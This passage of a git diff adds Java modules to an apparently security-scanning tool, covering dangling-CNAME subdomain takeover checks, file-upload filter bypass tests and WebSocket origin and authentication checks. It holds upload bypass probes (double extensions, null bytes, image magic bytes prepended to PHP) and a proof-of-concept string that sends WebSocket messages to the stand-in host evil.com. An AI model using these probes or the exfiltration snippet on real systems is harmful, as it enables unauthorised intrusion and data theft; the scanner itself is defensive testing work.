(findings.isEmpty()) { log.accept("[~] SSRF: testando redirect bypass (" + activePaths.size() + " paths x " diff --git a/src/main/java/gg/effront/anarcry/scanner/web/subtakeover/SubdomainTakeoverModule.java b/src/main/java/gg/effront/anarcry/scanner/web/subtakeover/SubdomainTakeoverModule.java new file mode 100644 index 0000000..1a9944e --- /dev/null +++ b/src/main/java/gg/effront/anarcry/scanner/web/subtakeover/SubdomainTakeoverModule.java @@ -0,0 +1,259 @@ +package gg.effront.anarcry.scanner.web.subtakeover; + +import gg.effront.anarcry.model.Finding; +import gg.effront.anarcry.model.Severity; +import gg.effront.anarcry.scanner.ScanContext; +import gg.effront.anarcry.scanner.Scanner; +import gg.effront.anarcry.scanner.util.Http; +import gg.effront.anarcry.scanner.util.HttpClientFactory; + +import java.net.InetAddress; +import java.net.URI; +import java.net.UnknownHostException; +import java.net.http.HttpClient; +import java.net.http.HttpRequest; +import java.net.http.HttpResponse; +import java.time.Duration; +import java.util.ArrayList; +import java.util.List; +import java.util.function.Consumer; +import java.util.regex.Pattern; + +import javax.naming.NamingEnumeration; +import javax.naming.NamingException; +import javax.naming.directory.Attribute; +import javax.naming.directory.Attributes; +import javax.naming.directory.DirContext; +import javax.naming.directory.InitialDirContext; + +public class SubdomainTakeoverModule implements Scanner { + + private static final List COMMON_SUBDOMAINS = List.of("www", "api", "app", "dev", "staging", "admin", + "mail", "cdn", "assets", "static", "beta", "test"); + + private record ServiceFingerprint(Pattern cnamePattern, String serviceName, Pattern bodyPattern) { + } + + private static final List FINGERPRINTS = List.of( + new ServiceFingerprint(Pattern.compile(".*\\.github\\.io$", Pattern.CASE_INSENSITIVE), "GitHub Pages", + Pattern.compile("There isn't a GitHub Pages site here", Pattern.CASE_INSENSITIVE)), + new ServiceFingerprint(Pattern.compile(".*\\.herokuapp\\.com$", Pattern.CASE_INSENSITIVE), "Heroku", + Pattern.compile("No such app|no-such-app", Pattern.CASE_INSENSITIVE)), + new ServiceFingerprint( + Pattern.compile(".*\\.s3[.-].*\\.amazonaws\\.com$|.*\\.s3\\.amazonaws\\.com$", + Pattern.CASE_INSENSITIVE), + "AWS S3", + Pattern.compile("NoSuchBucket|The specified bucket does not exist", Pattern.CASE_INSENSITIVE)), + new ServiceFingerprint( + Pattern.compile(".*\\.azurewebsites\\.net$|.*\\.cloudapp\\.azure\\.com$", Pattern.CASE_INSENSITIVE), + "Azure", Pattern.compile("not found|404 Web Site not found", Pattern.CASE_INSENSITIVE)), + new ServiceFingerprint(Pattern.compile("shops\\.myshopify\\.com$", Pattern.CASE_INSENSITIVE), "Shopify", + Pattern.compile("Sorry, this shop is currently unavailable", Pattern.CASE_INSENSITIVE)), + new ServiceFingerprint(Pattern.compile(".*\\.fastly\\.net$", Pattern.CASE_INSENSITIVE), "Fastly", + Pattern.compile("Fastly error: unknown domain", Pattern.CASE_INSENSITIVE)), + new ServiceFingerprint(Pattern.compile(".*\\.pantheonsite\\.io$", Pattern.CASE_INSENSITIVE), "Pantheon", + Pattern.compile("404 error unknown site|The gods are displeased", Pattern.CASE_INSENSITIVE)), + new ServiceFingerprint(Pattern.compile(".*\\.tumblr\\.com$", Pattern.CASE_INSENSITIVE), "Tumblr", + Pattern.compile("There's nothing here|Whatever you were looking for doesn't currently exist", + Pattern.CASE_INSENSITIVE)), + new ServiceFingerprint(Pattern.compile(".*\\.wordpress\\.com$", Pattern.CASE_INSENSITIVE), "WordPress", + Pattern.compile("Do you want to register .* this", Pattern.CASE_INSENSITIVE)), + new ServiceFingerprint(Pattern.compile(".*\\.surge\\.sh$", Pattern.CASE_INSENSITIVE), "Surge.sh", + Pattern.compile("project not found|surge\\.sh", Pattern.CASE_INSENSITIVE))); + + @Override + public String id() { + return "SubTakeover"; + } + + @Override + public List scan(ScanContext ctx, Consumer log) throws Exception { + List findings = new ArrayList<>(); + HttpClient hc = HttpClientFactory.noRedirect(); + + // Collect hosts to check: primary host + common subdomains + String primaryHost = ctx.host(); + List hostsToCheck = new ArrayList<>(); + hostsToCheck.add(primaryHost); + + // Extract base domain for subdomain enumeration + String baseDomain = extractBaseDomain(primaryHost); + for (String sub : COMMON_SUBDOMAINS) { + String candidate = sub + "." + baseDomain; + if (!candidate.equals(primaryHost)) { + hostsToCheck.add(candidate); + } + } + + log.accept("[~] " + id() + ": checking " + hostsToCheck.size() + " hosts for dangling CNAMEs"); + + for (String host : hostsToCheck) { + try { + checkHost(ctx, hc, host, findings, log); + } catch (Exception e) { + // DNS resolution or connection failures are expected for non-existent + // subdomains + } + } + + if (findings.isEmpty()) { + log.accept("[+] " + id() + ": nenhuma vulnerabilidade detectada"); + } + return findings; + } + + private void checkHost(ScanContext ctx, HttpClient hc, String host, List findings, Consumer log) + throws Exception { + // Phase 1: DNS CNAME resolution + List cnameChain = resolveCnameChain(host, log); + if (cnameChain.isEmpty()) { + return; + } + + String finalCname = cnameChain.get(cnameChain.size() - 1); + String chainStr = host + " -> " + String.join(" -> ", cnameChain); + log.accept("[~] " + id() + ": CNAME chain for " + host + ": " + chainStr); + + // Phase 2: Match CNAME against known vulnerable services + for (ServiceFingerprint fp : FINGERPRINTS) { + if (fp.cnamePattern().matcher(finalCname).matches()) { + log.accept("[~] " + id() + ": " + host + " points to " + fp.serviceName() + " (" + finalCname + ")"); + + // Check if the CNAME target resolves (NXDOMAIN = dangling) + boolean resolves = dnsResolves(finalCname); + if (!resolves) { + log.accept("[!!] " + id() + ": NXDOMAIN on " + finalCname + " -- dangling CNAME for " + host); + findings.add(buildFinding(host, chainStr, fp.serviceName(), + "NXDOMAIN on CNAME target " + finalCname, Severity.HIGH)); + return; + } + + // CNAME resolves -- check HTTP response for takeover fingerprint + String body = fetchBody(ctx, hc, host, log); + if (body != null && fp.bodyPattern().matcher(body).find()) { + log.accept("[!!] " + id() + ": takeover fingerprint matched for " + host + " (" + fp.serviceName() + + ")"); + String evidence = "CNAME chain: " + chainStr + " | HTTP body matched: " + + fp.bodyPattern().pattern(); + findings.add(buildFinding(host, chainStr, fp.serviceName(), evidence, Severity.HIGH)); + return; + } + + // CNAME matches a service pattern but no fingerprint -- suspicious + log.accept("[~] " + id() + ": " + host + " CNAME matches " + fp.serviceName() + + " but no takeover fingerprint in response"); + return; + } + } + + // Phase 3: Generic dangling CNAME check (CNAME points to something that does + // not resolve) + if (!dnsResolves(finalCname)) { + log.accept("[!] " + id() + ": dangling CNAME detected for " + host + " -> " + finalCname + + " (unknown service)"); + findings.add(buildFinding(host, chainStr, "Unknown service", + "CNAME target " + finalCname + " does not resolve (NXDOMAIN)", Severity.MEDIUM)); + } + } + + private List resolveCnameChain(String host, Consumer log) { + List chain = new ArrayList<>(); + try { + java.util.Hashtable env = new java.util.Hashtable<>(); + env.put("java.naming.factory.initial", "com.sun.jndi.dns.DnsContextFactory"); + DirContext dnsCtx = new InitialDirContext(env); + + String current = host; + int maxDepth = 10; + while (maxDepth-- > 0) { + try { + Attributes attrs = dnsCtx.getAttributes(current, new String[]{"CNAME"}); + Attribute cnameAttr = attrs.get("CNAME"); + if (cnameAttr == null) { + break; + } + NamingEnumeration values = cnameAttr.getAll(); + if (values.hasMore()) { + String cname = values.next().toString(); + // Strip trailing dot from DNS names + if (cname.endsWith(".")) { + cname = cname.substring(0, cname.length() - 1); + } + chain.add(cname); + current = cname; + } else { + break; + } + } catch (NamingException e) { + break; + } + } + dnsCtx.close(); + } catch (NamingException e) { + log.accept("[~] " + id() + ": DNS lookup failed for " + host + ": " + e.getMessage()); + } + return chain; + } + + private boolean dnsResolves(String host) { + try { + InetAddress.getByName(host); + return true; + } catch (UnknownHostException e) { + return false; + } + } + + private String fetchBody(ScanContext ctx, HttpClient hc, String host, Consumer log) { + try { + String scheme = ctx.isHttps() ? "https" : "http"; + String url = scheme + "://" + host + "/"; + HttpRequest req = HttpRequest.newBuilder().uri(URI.create(url)).timeout(Duration.ofSeconds(6)).GET() + .build(); + HttpResponse resp = Http.send(ctx, hc, req, HttpResponse.BodyHandlers.ofString(), id()); + return resp.body() != null ? resp.body() : ""; + } catch (Exception e) { + log.accept("[~] " + id() + ": HTTP fetch failed for " + host + ": " + e.getMessage()); + return null; + } + } + + private Finding buildFinding(String host, String cnameChain, String service, String evidence, Severity severity) { + return Finding.of(id(), host, "Subdomain Takeover -- " + service + " (" + host + ")", severity, evidence, + "Dangling CNAME allows an attacker to claim the target subdomain on " + service + + ", serving arbitrary content under the organization's domain. " + + "This enables phishing, cookie theft, and bypassing same-origin protections.", + "# Verify:\ndig CNAME " + host + "\ncurl -sI https://" + host + "/\n\n# CNAME chain: " + cnameChain, + "Remove the orphaned DNS record or reclaim the resource on " + service + + ". Audit all CNAME records regularly for dangling references. " + + "Use monitoring tools to detect subdomain takeover conditions."); + } + + private static String extractBaseDomain(String host) { + // Simple extraction: take the last two labels (e.g., example.com from + // sub.example.com) + // For known two-part TLDs (co.uk, com.br), take last three labels + String[] parts = host.split("\\."); + if (parts.length <= 2) { + return host; + } + // Check for common two-part TLDs + String lastTwo = parts[parts.length - 2] + "." + parts[parts.length - 1]; + if (isTwoPartTld(lastTwo)) { + if (parts.length >= 3) { + return parts[parts.length - 3] + "." + lastTwo; + } + return host; + } + return parts[parts.length - 2] + "." + parts[parts.length - 1]; + } + + private static boolean isTwoPartTld(String tld) { + return switch (tld) { + case "co.uk", "co.jp", "co.kr", "co.nz", "co.za", "com.br", "com.au", "com.cn", "com.mx", "com.ar", + "com.tw", "org.uk", "org.au", "net.au", "ac.uk", "gov.uk", "gov.br" -> + true; + default -> false; + }; + } +} diff --git a/src/main/java/gg/effront/anarcry/scanner/web/upload/FileUploadModule.java b/src/main/java/gg/effront/anarcry/scanner/web/upload/FileUploadModule.java new file mode 100644 index 0000000..4b1d332 --- /dev/null +++ b/src/main/java/gg/effront/anarcry/scanner/web/upload/FileUploadModule.java @@ -0,0 +1,472 @@ +package gg.effront.anarcry.scanner.web.upload; + +import gg.effront.anarcry.model.CvssCalculator; +import gg.effront.anarcry.model.CweRegistry; +import gg.effront.anarcry.model.Finding; +import gg.effront.anarcry.model.Severity; +import gg.effront.anarcry.scanner.ScanContext; +import gg.effront.anarcry.scanner.Scanner; +import gg.effront.anarcry.scanner.util.CircuitBreakerException; +import gg.effront.anarcry.scanner.util.Http; +import gg.effront.anarcry.scanner.util.HttpClientFactory; + +import java.net.URI; +import java.net.http.HttpClient; +import java.net.http.HttpRequest; +import java.net.http.HttpResponse; +import java.time.Duration; +import java.util.ArrayList; +import java.util.LinkedHashSet; +import java.util.List; +import java.util.Set; +import java.util.function.Consumer; +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +/** + * FileUploadModule -- detects unrestricted file upload vulnerabilities + * (CWE-434). + * + *

+ * Detection phases: + *

    + *
  1. Discover upload endpoints via crawled paths and common upload paths.
  2. + *
  3. Extension bypass tests (double extension, null byte, case variation, + * alternative extensions, dot trick).
  4. + *
  5. Content-type spoofing (script content with image MIME types).
  6. + *
  7. Magic byte manipulation (GIF89a, PNG, JPEG headers prepended to + * script).
  8. + *
  9. Upload verification -- check if uploaded file is accessible and + * executable.
  10. + *
+ * + *

+ * This module is DISABLED by default because it sends actual files to the + * target. + * + *

+ * Anti-FP: every upload response is checked for concrete evidence of acceptance + * before reporting. Code execution is only flagged when the test marker string + * appears in the response from fetching the uploaded file. + */ +public class FileUploadModule implements Scanner { + + // ------------------------------------------------------------------------- + // Constants + // ------------------------------------------------------------------------- + + private static final String MARKER = "ANARCRY_UPLOAD_TEST"; + private static final String PHP_PAYLOAD = ""; + private static final String JSP_PAYLOAD = "<%= new String(new char[]{'" + String.join("','", MARKER.split("")) + + "'}) %>"; + private static final String SAFE_PAYLOAD = PHP_PAYLOAD; + + /** GIF89a magic bytes. */ + private static final String GIF_MAGIC = "GIF89a"; + + /** PNG magic bytes as a string (binary). */ + private static final String PNG_MAGIC = "\u0089PNG\r\n\u001a\n"; + + /** JPEG magic bytes as a string (binary). */ + private static final String JPEG_MAGIC = "\u00FF\u00D8\u00FF\u00E0"; + + private static final List COMMON_UPLOAD_PATHS = List.of("/upload", "/api/upload", "/files", "/attachments", + "/media", "/images", "/api/files", "/api/attachments", "/api/images", "/api/media", "/avatar", + "/api/avatar"); + + private static final List FORM_FIELD_NAMES = List.of("file", "upload", "attachment", "image", "document", + "avatar", "media", "data"); + + /** Pattern to detect a URL or path in an upload response body. */ + private static final Pattern URL_PATTERN = Pattern.compile( + "(?:\"(?:url|path|location|file|link|src|href)\"\\s*:\\s*\"([^\"]+)\")" + + "|(?:(?:url|path|location|file|link|src|href)\\s*[:=]\\s*([^\\s,;\"'<>]+))", + Pattern.CASE_INSENSITIVE); + + /** Pattern for forms with file upload capability. */ + private static final Pattern UPLOAD_FORM_PATTERN = Pattern.compile( + "(?:enctype\\s*=\\s*[\"']multipart/form-data[\"'])" + "|(?:]+type\\s*=\\s*[\"']file[\"'])", + Pattern.CASE_INSENSITIVE); + + // ------------------------------------------------------------------------- + // Extension bypass payloads + // ------------------------------------------------------------------------- + + private record UploadProbe(String filename, String contentType, String content, String label) { + } + + private static List extensionBypassProbes() { + List probes = new ArrayList<>(); + + // Double extensions + probes.add(new UploadProbe("test.php.jpg", "image/jpeg", SAFE_PAYLOAD, "double ext php.jpg")); + probes.add(new UploadProbe("test.jsp.png", "image/png", SAFE_PAYLOAD, "double ext jsp.png")); + probes.add(new UploadProbe("test.aspx.gif", "image/gif", SAFE_PAYLOAD, "double ext aspx.gif")); + + // Null byte (URL-encoded) + probes.add(new UploadProbe("test.php%00.jpg", "image/jpeg", SAFE_PAYLOAD, "null byte php%00.jpg")); + + // Case variations + probes.add(new UploadProbe("test.PhP", "application/octet-stream", SAFE_PAYLOAD, "case PhP")); + probes.add(new UploadProbe("test.pHp", "application/octet-stream", SAFE_PAYLOAD, "case pHp")); + probes.add(new UploadProbe("test.PHP", "application/octet-stream", SAFE_PAYLOAD, "case PHP")); + + // Alternative extensions + for (String ext : List.of(".phtml", ".php5", ".php7", ".shtml", ".asa", ".cer")) { + probes.add(new UploadProbe("test" + ext, "application/octet-stream", SAFE_PAYLOAD, ext)); + } + + // Dot trick + probes.add(new UploadProbe("test.php.", "application/octet-stream", SAFE_PAYLOAD, "dot php.")); + probes.add(new UploadProbe("test.php...", "application/octet-stream", SAFE_PAYLOAD, "dot php...")); + + return probes; + } + + private static List contentTypeSpoofProbes() { + List probes = new ArrayList<>(); + probes.add(new UploadProbe("test.php", "image/jpeg", SAFE_PAYLOAD, "content-type spoof image/jpeg")); + probes.add(new UploadProbe("test.php", "image/png", SAFE_PAYLOAD, "content-type spoof image/png")); + probes.add(new UploadProbe("test.php", "image/gif", SAFE_PAYLOAD, "content-type spoof image/gif")); + return probes; + } + + private static List magicByteProbes() { + List probes = new ArrayList<>(); + probes.add(new UploadProbe("test.php", "image/gif", GIF_MAGIC + SAFE_PAYLOAD, "magic GIF89a + PHP")); + probes.add(new UploadProbe("test.php", "image/png", PNG_MAGIC + SAFE_PAYLOAD, "magic PNG header + PHP")); + probes.add(new UploadProbe("test.php", "image/jpeg", JPEG_MAGIC + SAFE_PAYLOAD, "magic JPEG header + PHP")); + return probes; + } + + // ------------------------------------------------------------------------- + // Scanner contract + // ------------------------------------------------------------------------- + + @Override + public String id() { + return "FileUpload"; + } + + @Override + public List scan(ScanContext ctx, Consumer log) throws Exception { + String cweId = CweRegistry.cweId(id()); + String cweTitle = CweRegistry.cweTitle(id()); + String cvssVec = CweRegistry.cvssVector(id()); + double score = CvssCalculator.calculate(cvssVec); + + List findings = new ArrayList<>(); + HttpClient hc = HttpClientFactory.http2(); + + String scheme = ctx.isHttps() ? "https" : "http"; + int defPort = ctx.isHttps() ? 443 : 80; + String base = scheme + "://" + ctx.host() + (ctx.port() != defPort ? ":" + ctx.port() : ""); + + log.accept("[~] FileUpload: iniciando scan em " + base); + + // Phase 1: Discover upload endpoints + Set uploadEndpoints = discoverUploadEndpoints(ctx, hc, base, log); + + if (uploadEndpoints.isEmpty()) { + log.accept("[+] FileUpload: nenhum endpoint de upload detectado"); + return findings; + } + + log.accept("[~] FileUpload: " + uploadEndpoints.size() + " endpoint(s) de upload encontrado(s)"); + + // Phase 2-4: Test each endpoint + for (String endpoint : uploadEndpoints) { + String uploadUrl = base + endpoint; + + // Phase 2: Extension bypass + log.accept("[~] FileUpload: testando extension bypass em " + endpoint); + for (UploadProbe probe : extensionBypassProbes()) { + Finding f = testUpload(ctx, hc, base, uploadUrl, endpoint, probe, cweId, cweTitle, cvssVec, score, log); + if (f != null) { + findings.add(f); + // One finding per endpoint per phase is enough + break; + } + } + + // Phase 3: Content-type spoofing + log.accept("[~] FileUpload: testando content-type spoofing em " + endpoint); + for (UploadProbe probe : contentTypeSpoofProbes()) { + Finding f = testUpload(ctx, hc, base, uploadUrl, endpoint, probe, cweId, cweTitle, cvssVec, score, log); + if (f != null) { + findings.add(f); + break; + } + } + + // Phase 4: Magic byte manipulation + log.accept("[~] FileUpload: testando magic byte manipulation em " + endpoint); + for (UploadProbe probe : magicByteProbes()) { + Finding f = testUpload(ctx, hc, base, uploadUrl, endpoint, probe, cweId, cweTitle, cvssVec, score, log); + if (f != null) { + findings.add(f); + break; + } + } + } + + if (findings.isEmpty()) { + log.accept("[+] FileUpload: nenhuma vulnerabilidade de upload detectada"); + } + return findings; + } + + // ------------------------------------------------------------------------- + // Phase 1: Endpoint discovery + // ------------------------------------------------------------------------- + + private Set discoverUploadEndpoints(ScanContext ctx, HttpClient hc, String base, Consumer log) { + Set endpoints = new LinkedHashSet<>(); + + // Check crawled paths for forms with file upload + for (String path : ctx.discoveredPaths().paths()) { + try { + HttpRequest req = HttpRequest.newBuilder().uri(URI.create(base + path)).timeout(Duration.ofSeconds(6)) + .GET().build(); + HttpResponse resp = Http.send(ctx, hc, req, HttpResponse.BodyHandlers.ofString(), id()); + String body = resp.body() != null ? resp.body() : ""; + + if (UPLOAD_FORM_PATTERN.matcher(body).find()) { + endpoints.add(path); + log.accept("[~] FileUpload: form com upload encontrado em " + path); + } + } catch (CircuitBreakerException cbe) { + throw cbe; + } catch (Exception ignored) { + // Connection errors are not findings + } + } + + // Probe common upload paths + for (String path : COMMON_UPLOAD_PATHS) { + try { + HttpRequest req = HttpRequest.newBuilder().uri(URI.create(base + path)).timeout(Duration.ofSeconds(6)) + .GET().build(); + HttpResponse resp = Http.send(ctx, hc, req, HttpResponse.BodyHandlers.ofString(), id()); + + // Accept endpoints that return 200, 301, 302, 401, 403, 405 (exists but may + // require auth or different method) + int status = resp.statusCode(); + if (status == 200 || status == 301 || status == 302 || status == 401 || status == 403 + || status == 405) { + endpoints.add(path); + log.accept("[~] FileUpload: endpoint ativo em " + path + " (HTTP " + status + ")"); + } + } catch (CircuitBreakerException cbe) { + throw cbe; + } catch (Exception ignored) { + // Connection errors are not findings + } + } + + return endpoints; + } + + // ------------------------------------------------------------------------- + // Upload testing + // ------------------------------------------------------------------------- + + private Finding testUpload(ScanContext ctx, HttpClient hc, String base, String uploadUrl, String endpoint, + UploadProbe probe, String cweId, String cweTitle, String cvssVec, double score, Consumer log) { + + for (String fieldName : FORM_FIELD_NAMES) { + try { + String boundary = "----AnarCryBoundary" + System.currentTimeMillis(); + String body = buildMultipartBody(boundary, fieldName, probe.filename(), probe.contentType(), + probe.content()); + + HttpRequest req = HttpRequest.newBuilder().uri(URI.create(uploadUrl)) + .header("Content-Type", "multipart/form-data; boundary=" + boundary) + .timeout(Duration.ofSeconds(8)).POST(HttpRequest.BodyPublishers.ofString(body)).build(); + + HttpResponse resp = Http.send(ctx, hc, req, HttpResponse.BodyHandlers.ofString(), id()); + String respBody = resp.body() != null ? resp.body() : ""; + + // Skip 404/400 responses -- endpoint did not accept upload with this field + if (resp.statusCode() == 404 || resp.statusCode() == 400) { + continue; + } + + // Check for code execution in the upload response itself + if (respBody.contains(MARKER) && !respBody.contains("= 200 && resp.statusCode() < 300) { + String uploadedPath = extractUploadedPath(respBody); + if (uploadedPath != null) { + // Phase 5: Verify if the uploaded file is accessible + Finding verifyResult = verifyUploadedFile(ctx, hc, base, uploadUrl, endpoint, uploadedPath, + probe, cweId, cweTitle, cvssVec, score, fieldName, log); + if (verifyResult != null) { + return verifyResult; + } + } + + // Upload was accepted (2xx) even with a dangerous extension/content + if (resp.statusCode() == 200 || resp.statusCode() == 201) { + log.accept("[+] FileUpload: upload aceito via " + probe.label() + " em " + endpoint + + " (campo: " + fieldName + ", HTTP " + resp.statusCode() + ")"); + + return Finding.of(id(), endpoint, "Unrestricted File Upload -- bypass via " + probe.label(), + Severity.HIGH, + "Upload de " + probe.filename() + " com Content-Type: " + probe.contentType() + + " aceito pelo servidor (HTTP " + resp.statusCode() + "). Resposta: " + + truncate(respBody, 200), + "Servidor aceita upload de arquivos com extensoes perigosas. " + + "Dependendo da configuracao do servidor, isso pode levar a " + + "execucao remota de codigo (RCE) ao acessar o arquivo enviado.", + buildCurlCommand(uploadUrl, fieldName, probe), + "Validar tipos de arquivo server-side com allowlist de extensoes. " + + "Renomear uploads para nomes aleatorios com extensao fixa. " + + "Armazenar uploads fora do web root ou servir via handler " + + "que previne execucao. " + + "Usar Content-Disposition: attachment nos downloads.", + cweId, cweTitle, cvssVec, score); + } + } + } catch (CircuitBreakerException cbe) { + throw cbe; + } catch (Exception ignored) { + // Connection errors are not findings + } + } + return null; + } + + // ------------------------------------------------------------------------- + // Phase 5: Verify uploaded file + // ------------------------------------------------------------------------- + + private Finding verifyUploadedFile(ScanContext ctx, HttpClient hc, String base, String uploadUrl, String endpoint, + String uploadedPath, UploadProbe probe, String cweId, String cweTitle, String cvssVec, double score, + String fieldName, Consumer log) { + + String fileUrl; + if (uploadedPath.startsWith("http://") || uploadedPath.startsWith("https://")) { + fileUrl = uploadedPath; + } else if (uploadedPath.startsWith("/")) { + fileUrl = base + uploadedPath; + } else { + fileUrl = base + "/" + uploadedPath; + } + + try { + HttpRequest req = HttpRequest.newBuilder().uri(URI.create(fileUrl)).timeout(Duration.ofSeconds(6)).GET() + .build(); + HttpResponse resp = Http.send(ctx, hc, req, HttpResponse.BodyHandlers.ofString(), id()); + String fileBody = resp.body() != null ? resp.body() : ""; + + if (resp.statusCode() == 200) { + // Check for code execution -- marker appears but PHP tags don't + if (fileBody.contains(MARKER) && !fileBody.contains(" WS_PATHS = List.of("/ws", "/websocket", "/socket.io", "/sockjs", "/hub", + "/signalr", "/cable", "/realtime", "/stream", "/events", "/graphql"); + + private static final long CONNECT_TIMEOUT_MS = 5000; + private static final long DATA_WAIT_MS = 3000; + + @Override + public String id() { + return "WebSocket"; + } + + @Override + public List scan(ScanContext ctx, Consumer log) throws Exception { + List findings = new ArrayList<>(); + HttpClient hc = HttpClientFactory.http2(); + + String scheme = ctx.isHttps() ? "https" : "http"; + int defPort = ctx.isHttps() ? 443 : 80; + String baseUrl = scheme + "://" + ctx.host() + (ctx.port() != defPort ? ":" + ctx.port() : ""); + + log.accept("[~] " + id() + ": discovering WebSocket endpoints on " + baseUrl); + + // Phase 1: Discover WS endpoints via HTTP upgrade probe + List discoveredPaths = new ArrayList<>(); + for (String path : WS_PATHS) { + if (probeWsEndpoint(ctx, hc, baseUrl, path, log)) { + discoveredPaths.add(path); + log.accept("[+] " + id() + ": WebSocket endpoint found at " + path); + } + } + + if (discoveredPaths.isEmpty()) { + log.accept("[+] " + id() + ": nenhum endpoint WebSocket detectado"); + return findings; + } + + log.accept("[~] " + id() + ": " + discoveredPaths.size() + " endpoint(s) found -- running security checks"); + + String wsScheme = ctx.isHttps() ? "wss" : "ws"; + String wsBase = wsScheme + "://" + ctx.host() + (ctx.port() != defPort ? ":" + ctx.port() : ""); + + for (String path : discoveredPaths) { + String wsUrl = wsBase + path; + + // Phase 4: Protocol detection (ws:// vs wss://) + if (!ctx.isHttps()) { + log.accept("[!] " + id() + ": unencrypted WebSocket (ws://) at " + path); + findings.add(Finding.of(id(), path, "Unencrypted WebSocket (ws://) -- " + path, Severity.LOW, + "URL: ws://" + ctx.host() + (ctx.port() != defPort ? ":" + ctx.port() : "") + path + + " | Protocol: ws:// (plaintext)", + "WebSocket traffic is transmitted in plaintext, allowing network-level attackers " + + "to intercept and modify messages via MITM.", + "curl -i -N -H 'Connection: Upgrade' -H 'Upgrade: websocket' " + + "-H 'Sec-WebSocket-Version: 13' " + + "-H 'Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==' " + "'http://" + ctx.host() + + (ctx.port() != defPort ? ":" + ctx.port() : "") + path + "'", + "Use wss:// (WebSocket over TLS) for all WebSocket connections. " + + "Redirect ws:// to wss:// and enforce HSTS.")); + } + + // Phase 2: Origin check -- connect with evil origin + checkOriginBypass(ctx, hc, wsUrl, path, findings, log); + + // Phase 3: Authentication check -- connect without credentials + checkUnauthenticatedAccess(ctx, hc, wsUrl, path, findings, log); + } + + if (findings.isEmpty()) { + log.accept("[+] " + id() + ": nenhuma vulnerabilidade detectada"); + } + return findings; + } + + private boolean probeWsEndpoint(ScanContext ctx, HttpClient hc, String baseUrl, String path, Consumer log) { + try { + // Send an HTTP request with WebSocket upgrade headers to detect endpoints + HttpRequest req = HttpRequest.newBuilder().uri(URI.create(baseUrl + path)).header("Connection", "Upgrade") + .header("Upgrade", "websocket").header("Sec-WebSocket-Version", "13") + .header("Sec-WebSocket-Key", "dGhlIHNhbXBsZSBub25jZQ==").timeout(Duration.ofSeconds(6)).GET() + .build(); + HttpResponse resp = Http.send(ctx, hc, req, HttpResponse.BodyHandlers.ofString(), id()); + int status = resp.statusCode(); + // 101 Switching Protocols = WebSocket upgrade accepted + // 200 with certain frameworks (socket.io returns 200 with JSON) + // 400 "Can Upgrade" -- some servers indicate WS support via 400 for bad + // handshake + if (status == 101) { + return true; + } + // socket.io responds with 200 and JSON containing session info + if (status == 200 && path.contains("socket.io")) { + String body = resp.body() != null ? resp.body() : ""; + if (body.contains("sid") || body.contains("websocket")) { + return true; + } + } + // Some servers return 426 Upgrade Required, indicating WS support + if (status == 426) { + return true; + } + return false; + } catch (Exception e) { + return false; + } + } + + private void checkOriginBypass(ScanContext ctx, HttpClient hc, String wsUrl, String path, List findings, + Consumer log) { + try { + CollectingListener listener = new CollectingListener(); + CompletableFuture wsFuture = hc.newWebSocketBuilder().header("Origin", "https://evil.com") + .connectTimeout(Duration.ofMillis(CONNECT_TIMEOUT_MS)).buildAsync(URI.create(wsUrl), listener); + + WebSocket ws = wsFuture.get(CONNECT_TIMEOUT_MS + 1000, TimeUnit.MILLISECONDS); + + // Connection succeeded with evil origin -- origin validation is missing + log.accept("[!!] " + id() + ": CORS bypass -- WebSocket accepted Origin: https://evil.com at " + path); + + // Wait briefly for any data to arrive + Thread.sleep(DATA_WAIT_MS); + String receivedData = listener.collectedData(); + + String evidence = "URL: " + wsUrl + " | Origin: https://evil.com | Connection: accepted"; + if (!receivedData.isEmpty()) { + evidence += " | Data received: " + truncate(receivedData, 200); + } + + findings.add(Finding.of(id(), path, "WebSocket Origin Bypass -- " + path, Severity.MEDIUM, evidence, + "The WebSocket endpoint accepts connections from arbitrary origins (https://evil.com). " + + "An attacker can use a malicious page to establish a cross-origin WebSocket connection " + + "and interact with the endpoint on behalf of a logged-in victim.", + "# PoC (host on https://evil.com):\n" + "const ws = new WebSocket('" + wsUrl + "');\n" + + "ws.onmessage = e => fetch('https://evil.com/log?d=' + encodeURIComponent(e.data));\n" + + "ws.onopen = () => ws.send('{\"action\":\"subscribe\"}');", + "Validate the Origin header on the server side before accepting the WebSocket upgrade. " + + "Only allow trusted origins from an explicit allowlist.")); + + closeQuietly(ws); + } catch (Exception e) { + // Connection refused or timed out -- origin may be validated, or endpoint is + // down + log.accept("[~] " + id() + ": origin check for " + path + " -- connection rejected or timed out"); + } + } + + private void checkUnauthenticatedAccess(ScanContext ctx, HttpClient hc, String wsUrl, String path, + List findings, Consumer log) { + // Only meaningful if the target uses authentication + if (ctx.jwtToken().isBlank() && ctx.config().sessionCookie().isBlank()) { + // No auth configured -- skip, as we cannot determine if unauthenticated access + // is abnormal + log.accept("[~] " + id() + ": skipping auth check for " + path + " -- no credentials configured"); + return; + } + + try { + CollectingListener listener = new CollectingListener(); + // Connect without any auth tokens or cookies + CompletableFuture wsFuture = hc.newWebSocketBuilder() + .connectTimeout(Duration.ofMillis(CONNECT_TIMEOUT_MS)).buildAsync(URI.create(wsUrl), listener); + + WebSocket ws = wsFuture.get(CONNECT_TIMEOUT_MS + 1000, TimeUnit.MILLISECONDS); + + // Wait for potential data + Thread.sleep(DATA_WAIT_MS); + String receivedData = listener.collectedData(); + + if (!receivedData.isEmpty()) { + log.accept("[!!] " + id() + ": unauthenticated WebSocket access with data at " + path); + findings.add(Finding.of(id(), path, "Unauthenticated WebSocket Access -- " + path, Severity.HIGH, + "URL: " + wsUrl + " | Auth: none | Data received: " + truncate(receivedData, 200), + "The WebSocket endpoint accepts connections without authentication and sends data " + + "to unauthenticated clients. This may expose sensitive real-time data " + + "(messages, events, user actions) to any network client.", + "# Connect without auth:\nwebsocat '" + wsUrl + "'\n# Or:\n" + "const ws = new WebSocket('" + + wsUrl + "');\n" + "ws.onmessage = e => console.log(e.data);", + "Require authentication (JWT or session token) before accepting " + + "WebSocket upgrades. Validate credentials in the handshake phase, " + + "not after the connection is established.")); + } else { + log.accept("[~] " + id() + ": unauthenticated connection accepted at " + path + + " but no data received -- likely benign"); + } + + closeQuietly(ws); + } catch (Exception e) { + // Connection rejected -- auth may be enforced + log.accept("[~] " + id() + ": auth check for " + path + " -- connection rejected (auth may be enforced)"); + } + } + + private static void closeQuietly(WebSocket ws) { + try { + ws.sendClose(WebSocket.NORMAL_CLOSURE, "scan complete").get(2, TimeUnit.SECONDS); + } catch (Exception ignored) { + // Best-effort close + } 